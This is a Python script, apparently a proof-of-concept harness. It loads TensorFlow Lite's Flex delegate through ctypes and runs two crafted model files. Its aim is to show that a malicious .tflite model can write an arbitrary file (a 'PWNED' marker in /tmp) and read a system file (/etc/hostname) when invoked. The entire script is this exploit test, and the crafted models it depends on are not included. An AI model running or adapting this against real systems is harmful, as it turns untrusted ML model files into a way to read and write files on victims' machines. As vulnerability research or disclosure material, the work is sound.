File size: 3,005 Bytes
8bb5320 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | # Strategy: Import TF first to initialize the runtime, then
# use the C wrapper directly without loading the common lib again
import os, sys
# Step 1: Import TF to initialize runtime
import tensorflow as tf
import numpy as np
from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper
# Step 2: Get AcquireFlexDelegate from the ALREADY-LOADED libraries
# When TF is imported, libtensorflow_cc.so.2 is already loaded
import ctypes
# Use RTLD_DEFAULT to search all already-loaded libs
# This avoids re-loading and the double-registration issue
lib = ctypes.CDLL(None) # None = search global symbol table
try:
acquire = lib._ZN6tflite19AcquireFlexDelegateEv
acquire.restype = ctypes.c_void_p
acquire.argtypes = []
flex_ptr = acquire()
print(f"FlexDelegate from global: {hex(flex_ptr) if flex_ptr else 'NULL'}")
except Exception as e:
print(f"Global lookup failed: {e}")
# Try explicit lib
tf_dir = os.path.dirname(tf.__file__)
cc_path = os.path.join(tf_dir, "libtensorflow_cc.so.2")
# Use RTLD_NOLOAD to get handle without reloading
cc_lib = ctypes.CDLL(cc_path, mode=ctypes.RTLD_NOLOAD)
acquire = cc_lib._ZN6tflite19AcquireFlexDelegateEv
acquire.restype = ctypes.c_void_p
acquire.argtypes = []
flex_ptr = acquire()
print(f"FlexDelegate from cc: {hex(flex_ptr) if flex_ptr else 'NULL'}")
if not flex_ptr:
print("No flex delegate available")
sys.exit(1)
# Test flex_write
print("\n=== Test flex_write.tflite ===")
with open("models/flex_write.tflite", "rb") as f:
write_data = f.read()
w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True)
print("Created interpreter wrapper")
result = w.ModifyGraphWithDelegate(flex_ptr)
print(f"ModifyGraphWithDelegate: {result}")
try:
w.AllocateTensors()
print("AllocateTensors succeeded!")
input_idx = w.InputIndices()
print(f"Input indices: {input_idx}")
if input_idx:
w.SetTensor(input_idx[0], np.array(b"PWNED via TFLite"))
w.Invoke()
print("INVOKE SUCCEEDED!")
if os.path.exists("/tmp/tflite_pwned.txt"):
with open("/tmp/tflite_pwned.txt") as f:
print(f"*** FILE WRITTEN: {f.read()} ***")
else:
print("File not written")
except Exception as e:
print(f"Error: {type(e).__name__}: {str(e)[:800]}")
# Test flex_read
print("\n=== Test flex_read.tflite ===")
with open("models/flex_read.tflite", "rb") as f:
read_data = f.read()
w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True)
w2.ModifyGraphWithDelegate(flex_ptr)
try:
w2.AllocateTensors()
print("AllocateTensors succeeded!")
input_idx2 = w2.InputIndices()
w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname"))
w2.Invoke()
print("INVOKE SUCCEEDED!")
output_idx2 = w2.OutputIndices()
output = w2.GetTensor(output_idx2[0])
print(f"*** FILE READ: {output} ***")
except Exception as e:
print(f"Error: {type(e).__name__}: {str(e)[:800]}")
|